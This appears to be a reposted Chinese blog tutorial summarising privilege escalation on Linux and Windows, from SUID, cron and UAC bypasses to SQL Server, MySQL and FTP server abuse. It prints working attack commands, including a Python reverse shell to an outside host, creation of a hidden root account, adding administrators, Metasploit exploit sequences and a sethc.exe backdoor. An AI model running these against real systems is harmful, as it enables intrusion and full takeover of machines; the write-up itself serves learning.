其他分享
首页 > 其他分享> > 一文了解提权:溢出提权和第三方组件提权

一文了解提权:溢出提权和第三方组件提权

作者:互联网

前言

对提权做个归纳

提权一般分为两种:

一、溢出提权

溢出提权就是利用系统漏洞进行提权

1、linux提权

基础知识:一文了解linux下的用户(组)和权限

(1)内核提权

步骤:

github上的一个集合:linux-kernel-exploits

(2)SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

例子:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

在这里插入图片描述

我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行

/usr/bin/find examples.desktop -exec whoami \;

在这里插入图片描述

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

在这里插入图片描述

于是我们以root用户的身份利用python反弹shell,

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

在这里插入图片描述

可以看到,在攻击端收到了反弹过来的shell,并且是root身份

在这里插入图片描述

(3)配置不当提权

假设 /etc/passwd 的配置不当,导致任何用户都可以读写,就可以用来提权

在这里插入图片描述

以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。

useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root  -G root -s /bin/bash -d /home/user venus

检查配置的脚本:

(4)定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,默认这些程序以root权限执行

如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了

ls -l /etc/cron*

使用该命令,列出的文件,查看 /etc/cron.daily/etc/cron.hourly/etc/cron.monthly/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

在这里插入图片描述

2、windows提权

(1)内核提权

步骤:

github上的一个集合:windows-kernel-exploits

(2)绕过UAC提权

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果

需要UAC的授权才能进行的操作列表如下:

UAC有如下四种设置要求:

绕过方法
首先通过explloit获得目标主机的meterprter。获得meterpreter会话后,输入以下命令以检查是否是system权限:

getsystem
getuid

如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。

1.方法一:Windows权限升级绕过UAC保护
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

在这里插入图片描述

2.方法二:Windows权限提升绕过UAC保护(内存注入)
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

在这里插入图片描述

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

在这里插入图片描述

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

您将再次获得NT AUTHORITY\SYSTEM 权限。

在这里插入图片描述

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)
此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。

getsystem
getuid

最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

在这里插入图片描述

复现:CVE-2019-1388:Windows UAC 本地提权

防范:

(3)windows组策略首选项提权

windows2008有一个叫组策略首选项(Group Policy Preference)的特性.这个特性可以方便管理员在整个域内部署策略.

当下发的策略包含用户名和认证信息的时候,一个普通的用户就可以通过这些信息或得策略里的帐号密码,从而提升自己的权限甚至控制域内其他计算机

可参考:Windows组策略首选项提权(SYSVOL/GPP)

(4)Windows PR提权

Microsoft Windows RPCSS服务隔离本地权限提升漏洞

RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

BUGTRAQ ID: 34443
CVE(CAN) ID: CVE-2009-0079

发布日期:2009-04-14
更新日期:2009-04-24

受影响系统:

Microsoft Windows XP x64 SP2
Microsoft Windows XP x64
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1

也就是说只有Windows Server 2003和windows xp系统能够使用 pr 提权。

参见:【内网提权】windows2003本地PR提权详解

二、第三方组件提权

1、信息搜集

信息搜集永远是最重要的一个环节

2、数据库提权

(1)SQL Server

主要依据一个特殊的存储过程“xp_cmdshell”,可以调用系统命令
即在sysadmin权限下调用“xp_cmdshell”,执行net user x x /add & net localgroup administrators x /add添加一个管理员账户

启用或关闭xp_cmdshell

# 启用xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 
 
# 关闭xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 0 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 

一些常用指令

查看数据库版本:select @@version

查看数据库系统参数:exec master..xp_msver;

查看用户所属角色信息:sp_helpsrvrolemember

查看当前数据库:select db_name()

显示机器上的驱动器:xp_availablemedia

查看当前账户权限

select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限

类似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin

select IS_MEMBER('db_owner') #判断是否为dbo权限

添加用户

exec master.dbo.sp_addlogin test,password #添加用户

exec master.dbo.sp_addsrvrolemember test,sysadmin #加权限

启动停止服务

exec master..xp_servicecontrol 'stop','test'

exec master..xp_servicecontrol 'start','test'

检查功能

SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'

xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc

1、在注入点进行提权

2、已经得到数据库账户了
提权方法没变,只是位置变了而已
也就是连上数据库然后执行命令

(2)MySQL

主要有两种:UDF提权和MOF提权

1、UDF提权

UDF,全称user defined function,即用户定义函数

注:

思路:

一个例子如下:

create table temptable(UDF BLOB); //创建临时表
insert into temptable values(convert(shellcode,CHAR)); //插入shellcode
select UDF from temptable into dumpfile 'C:\Windows\udf.dll'; //导出UDF.dll,这一步注意版本,不同版本路径不同
drop table temptable; //删除临时表
create function cmdshell returns string soname 'udf.dll'; //创建cmdshell函数
select cmdshell('command'); //执行命令,这一步之后就可以执行cmd命令了
drop function cmdshell; //删除cmdshell函数

2、MOF提权

一个例子如下:

use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit

3、FTP提权

配置FTP用户时,如果赋予用户执行权限
就可以用quote site exec执行系统命令
quote site exec net localgroup administrators temp /add

(1)Serv-U 提权

有个默认管理用户LocalAdministrator,密码是#l@$ak#.lk;0@P
可以用来添加用户,然后提权

或者找到配置文件,查看管理员的账户信息

可参考:第三方提权之Serv-U提权

(2)G6 FTP 提权

文件夹RemoteAdmin下有个配置文件Remote.ini
解密可以得到管理员账户密码
然后可以添加用户,再提权

(3)FileZilla 提权

两个配置文件FileZillaServer Interface.xmlFileZilla Server.xml保存了用户信息
提权方法是用cmd.exe代替掉C:\Windows\System32下的sethc.exe,构造shift后门

(4)FlashFXP 提权

三个文件Sites.dat、Stats.dat和quick.dat包含历史遗留信息

三、其他

1、3389端口

3389端口是微软的远程桌面服务RDP默认端口
其危险性不用多讲

防御方法:

2、端口转发

LCX是最常见的端口转发软件

3、启动项提权

一个VBS代码脚本例子

Ser wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","temp")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/temp",user)
oe.add os&"/temp"

4、DLL劫持

Rices写过一个工具T001s Lpk Sethc

四、防范

关键是目录信息的保护和用户权限的限制

一些措施如下:

结语

对提权有了浅层了解
后续有学习再更新

标签:Windows,用户,提权,windows,组件,UAC,权限,溢出
来源: https://blog.csdn.net/weixin_44604541/article/details/115984805